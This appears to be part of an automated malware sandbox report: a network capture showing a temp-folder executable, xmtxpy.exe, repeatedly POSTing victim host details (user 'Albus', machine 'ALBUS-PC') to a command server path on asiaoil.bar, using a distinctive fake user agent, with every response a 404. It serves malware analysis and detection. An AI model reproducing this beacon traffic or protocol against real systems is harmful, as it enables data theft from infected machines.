Feb 10, 2022 10:23:04.741179943 CET	415	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:04 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3ixohb6DjBvyEHcF0bBjTjwa28InQY%2BYLPlgexuM%2B84%2F6oOs4V7fazNyzJ4xoT6rgqB9hhVA18VkbtDdbf8imwrd%2Bcpfb9TH%2BBpi1dLQ9%2FLh%2BYjGvjuxWzsCeqqBpA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446d23961910a-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.22	49224	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:05.954619884 CET	416	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:05.970782995 CET	416	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:06.040098906 CET	416	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:06 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EE%2FH1l4X4mMaNy6pFboc6LUO8GAlkZzav%2FOZJIxi5sLykIm1li2uICH5vhNS6WFsxhSSyzMACuulnYIlnwvZpCsgsM7VNvUGg6SyBgvKaTyfwg7BclNEWkPSWBEWjg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446da4ba95c32-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49171	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:07.006112099 CET	321	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:07.023216963 CET	321	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:07.110586882 CET	322	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:07 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mWD8oFcQTyd%2FKCuxdF4a9PY1C39C0%2FGNEfnX%2F9EktX8IXwXAk4CddsJG8chvleqV6%2Bl4Pe9X7pM9zS7OCYa1Qb%2B3%2FB%2BhM5NKwwPD%2BX%2FUskzFky%2FFOD%2Fvt045vN%2BQZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db44569da6591e1-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.22	49225	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:08.596977949 CET	417	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:08.613538980 CET	418	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:08.680362940 CET	418	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=glNfx46H3%2BbVLTKDrhap51MhlIRkcModymLBNBd7dZ%2Bl67BTPpZNpBIlfD8OgL00wxL3CdtX6qUD2pekmgxeoZGkVArQG2lmbN%2B57FmuOEvY0CiRqZc24nnj2bPcgA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446eac805911f-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.22	49226	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:09.667687893 CET	419	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:09.683943987 CET	419	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:09.773921967 CET	420	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:09 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YpuHPmOjZQu3BJ71RrU5rE6ZD4gK%2FiddjmVX1894nkleKqaO0ZuA%2FZ4t0Hhr%2FEBANQiy%2F1dOteI5pqxTSy6LKaSwgoWmbo0Tuise9gruTiTrmWfL3ef0CFnSmrOP6A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446f1795e8fd4-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.22	49227	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:10.711121082 CET	421	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:10.727674007 CET	421	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:10.805613041 CET	422	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=263d7oWUNYmuRg8qalPaQG1rkbIXer23yE4CCwJl%2BycPuClpFI6FPf1gIeOZyF3Nt4DWuR0XxZA%2FK2Gwfg9%2FRUCXAmdrBxYU%2F%2FgwYdWQXfhfADT4oSnWfcr7aGjXFA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446f7fa7290a3-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.22	49228	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:11.750458956 CET	423	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:11.767074108 CET	423	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:11.894766092 CET	424	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rZcJVrDpVn0Jvm1Vx3izcMxx2xxi%2BRY0gOKUM%2BjgWD%2BYJ2bGoZJPCLIhbsX3VLB%2FEbDTmlKbO8MOV5p8OY13hTQVrNs14q81gtqG%2BYeK%2B7ujkKePtZGTix4rgIZT4w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db446fe7f4690fe-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.22	49229	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:12.826739073 CET	424	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:12.843465090 CET	425	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:12.954328060 CET	425	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hiz8VTs2nqW2CMp0oz2HdrtKIKW9o%2B7ImEcKl2VS1ifwy0ulNriRcW%2FuIGG1IoL3PiyPTyaWq%2BPUB82nqy1x%2F7uZPeiH7cbbBHoH7NU9xoGBLymRw5hquZwyAOhtcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db44705396d911e-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.22	49230	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:13.916424990 CET	426	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:13.934345961 CET	427	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:14.009248972 CET	427	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=meN57bW15OrovAiOaftPdPV%2BVu9aNc%2FmGkhf3DxgM8J7CqQPL97QEdbuifiRTAjK93npEn2xIesb%2FN5MC7%2B7xpKWknwpItKd6NXh4KBXOeDXxIfIsEdpLWRlGlrQsw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4470c0b639142-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.22	49231	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:14.928308964 CET	428	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:14.944510937 CET	428	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:15.005187035 CET	429	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MLXoax8jkqv8eBPwf%2B%2FHkLStnp33pID1OGlxzxpw8mT%2BDJtVm%2Fko7dCOHPmAgnMB01wvsNPWgM%2BACIJ3McTTt4l4slPJE0ia9l6oA1b3jZBpZmUytzUvT6%2BsM8O8%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db447125bf8911f-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.22	49232	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:16.169338942 CET	430	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:16.185606003 CET	430	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:16.265043974 CET	431	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3gZJQzAkWL%2Fu0oyFSXQkAE19rOUvT86ounx%2F2nUfTZE5zhEaRM6VwUQCQNWwfitnmL12%2B1q8KR5pPRKomKLsKvLs0yZmFdrB49ckYXWQAh8%2FP4%2FjzcT6%2BgWMfOI%2Bcg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4471a19969048-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.22	49234	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:17.425743103 CET	432	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:17.442059040 CET	432	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:17.529016018 CET	433	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CVWgNT%2F3L1%2BppaTVgVDCxoKwuyVyVDAH6zVKoRJylnyRNyfDC2xX0Vm24lOeOSechfzcA1vgmVZNQs67XBF8JYV4Q8GGFRHDfBe2OCBaYxj7dDGPN3FxV3Y9%2Fs9AEg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db44721ffb76983-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.22	49235	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:18.783854008 CET	433	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:18.800137043 CET	434	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:18.911052942 CET	434	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JkW3Yfq8929bkmz%2BZxma5WCDFCwlkkeMrZVjES5%2BGp19oTJDA%2FvVeGYB6q0J4yXwf6O8Ujd%2Bm4xURLIdmdWv80xluGmLKk%2BK5CnuxjOzH0TaS2jR2NsT%2BwpcvVu%2BPQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db4472a7d7c9193-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.22	49172	104.21.49.244	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:22:08.131839037 CET	323	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:22:08.148073912 CET	323	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:22:08.291701078 CET	324	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:22:08 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GAzVwCo6pQjEmafddnL4QX9z1sDFHB2J%2FYbOLf50is46eNnXoOwYOokrFvyBn6ciX3XJ3aLhnc3SW1RSny%2BWp7rsb%2FchkjZeaoltFUzmAOwl3IbNQWt4WAouWFDm8Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db44570da0591ea-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.22	49236	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:19.840840101 CET	435	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:19.857125044 CET	435	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:19.945090055 CET	436	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:19 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jX4p5OL3M4bhKeaGYr6eMZP4ecEb%2BRQKJFJMvHycGUM%2BR1sW8i66slzCERtcv76o3GVZu2AT%2BBb9%2BnWVHSGrEHQ65OlnuuLV3NX69%2BnX0CllH9Ufi1dPL3kXbE9UsQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db447310d2a918f-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.22	49237	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
Feb 10, 2022 10:23:20.970686913 CET	437	OUT	POST //bobby/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: asiaoil.bar Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 579BFA72 Content-Length: 149 Connection: close
Feb 10, 2022 10:23:20.987104893 CET	437	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 37 00 30 00 34 00 36 00 37 00 32 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus704672ALBUS-PC0DE4229FCF97F5879F50F8FD3
Feb 10, 2022 10:23:21.069719076 CET	438	IN	HTTP/1.1 404 Not Found Date: Thu, 10 Feb 2022 09:23:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wCsqQDtUNyAdb8N7QE5gpRV6yQp9OM5kLzcDr7AlwMrEbZXvVwvalAee7gk3yYD6lCHsuYIHi9jPPTnfADT3Vv66t86Ej5Rk3p%2BU8OrA6dwgCuh8u7DexDMJSkMrXQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6db447381a755be1-FRA Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.22	49238	172.67.197.66	80	C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Timestamp	kBytes transferred	Direction	Data
